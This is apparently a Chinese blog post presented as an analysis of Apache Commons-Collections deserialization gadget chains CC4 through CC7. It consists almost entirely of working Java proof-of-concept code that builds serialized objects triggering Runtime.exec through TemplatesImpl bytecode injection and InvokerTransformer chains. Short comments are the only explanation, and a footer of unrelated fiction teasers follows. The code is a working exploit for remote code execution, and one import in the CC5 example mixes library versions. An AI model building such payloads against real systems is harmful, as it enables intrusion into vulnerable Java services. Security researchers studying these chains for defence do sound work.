commons-collections4-7分析


cc4

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import javassist.*;

import org.apache.commons.collections4.Transformer;

import org.apache.commons.collections4.comparators.TransformingComparator;

import org.apache.commons.collections4.functors.ChainedTransformer;

import org.apache.commons.collections4.functors.ConstantTransformer;

import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;

import java.io.*;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationTargetException;

import java.util.PriorityQueue;

public class cc4 {

    public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {

        //使用字节码创建恶意类

        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

        ClassPool classPool=ClassPool.getDefault();

        classPool.appendClassPath(AbstractTranslet);

        CtClass payload=classPool.makeClass("cc4Demo");

        payload.setSuperclass(classPool.get(AbstractTranslet));

        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] bytes = payload.toBytecode();

        //反射调用TemplatesImpl

        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();

        //设置_bytecodes属性,将二进的恶意类添加到_bytecodes

        Field field=templates.getClass().getDeclaredField("_bytecodes");

        field.setAccessible(true);

        field.set(templates,new byte[][]{bytes});

        //设置_name属性

        Field name=templates.getClass().getDeclaredField("_name");

        name.setAccessible(true);

        name.set(templates,"test");

        //生成tramsformer

        Transformer[] trans = new Transformer[]{

                new ConstantTransformer(TrAXFilter.class),

                new InstantiateTransformer(

                        new Class[]{Templates.class},

                        new Object[]{templates})

        };

        //生成ChainedTransformer

        ChainedTransformer chian = new ChainedTransformer(trans);

        TransformingComparator transCom = new TransformingComparator(chian);

        //生成PriorityQueue

        PriorityQueue queue = new PriorityQueue(2);

        queue.add(1);

        queue.add(1);

        Field com = PriorityQueue.class.getDeclaredField("comparator");

        com.setAccessible(true);

        com.set(queue,transCom);

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));

        outputStream.writeObject(queue);

        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));

        inputStream.readObject();

    }

}


cc5

```java

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.LazyMap;

import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;

import java.io.FileInputStream;

import java.io.FileOutputStream;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

import java.lang.reflect.Field;

import java.util.HashMap;

public class cc5 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[] {

                        String.class, Class[].class }, new Object[] {

                        "getRuntime", new Class[0] }),

                new InvokerTransformer("invoke", new Class[] {

                        Object.class, Object[].class }, new Object[] {

                        null, new Object[0] }),

                new InvokerTransformer("exec",

                        new Class[] { String.class }, new Object[]{"calc"})});

        HashMap innermap = new HashMap();

        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

        TiedMapEntry tiedmap = new TiedMapEntry(map,123);

        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);

        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");

        val.setAccessible(true);

        val.set(poc,tiedmap);

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));

        outputStream.writeObject(poc);

        outputStream.close();

        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("test.out"));

        inputStream.readObject();

    }

}

}

cc6

import org.apache.commons.collections.*;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.keyvalue.TiedMapEntry;

import org.apache.commons.collections.map.LazyMap;

import java.io.*;

import java.util.HashMap;

import java.util.HashSet;

import java.util.Map;

public class cc6 {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        Transformer[] transformers=new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),

                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),

                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };

        ChainedTransformer Testtransformer = new ChainedTransformer(transformers);

        //创建一个hashmap

        Map map=new HashMap();

        Map lazyMap=LazyMap.decorate(map,Testtransformer);

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

        HashSet hashSet=new HashSet(1);

        hashSet.add(tiedMapEntry);

        lazyMap.remove("test1");

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));

        objectOutputStream.writeObject(hashSet);

        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));

        objectInputStream.readObject();

    }

}

cc7

```java

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.LazyMap;

import java.io.*;

import java.util.HashMap;

import java.util.Hashtable;

import java.util.Map;

public class cc7 {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        Transformer[] transformers=new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),

                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),

                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };

        ChainedTransformer Testtransformer = new ChainedTransformer(transformers);

        Map innerMap1 = new HashMap();

        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, Testtransformer);

        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, Testtransformer);

        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();

        hashtable.put(lazyMap1, 1);

        hashtable.put(lazyMap2, 2);

        lazyMap2.remove("yy");

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));

        objectOutputStream.writeObject(hashtable);

        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));

        objectInputStream.readObject();

    }

}

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,569评论 4 363
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,499评论 1 294
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,271评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,087评论 0 209
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,474评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,670评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,911评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,636评论 0 202
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,397评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,607评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,093评论 1 261
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,418评论 2 254
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,074评论 3 237
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,092评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,865评论 0 196
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,726评论 2 276
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,627评论 2 270

推荐阅读更多精彩内容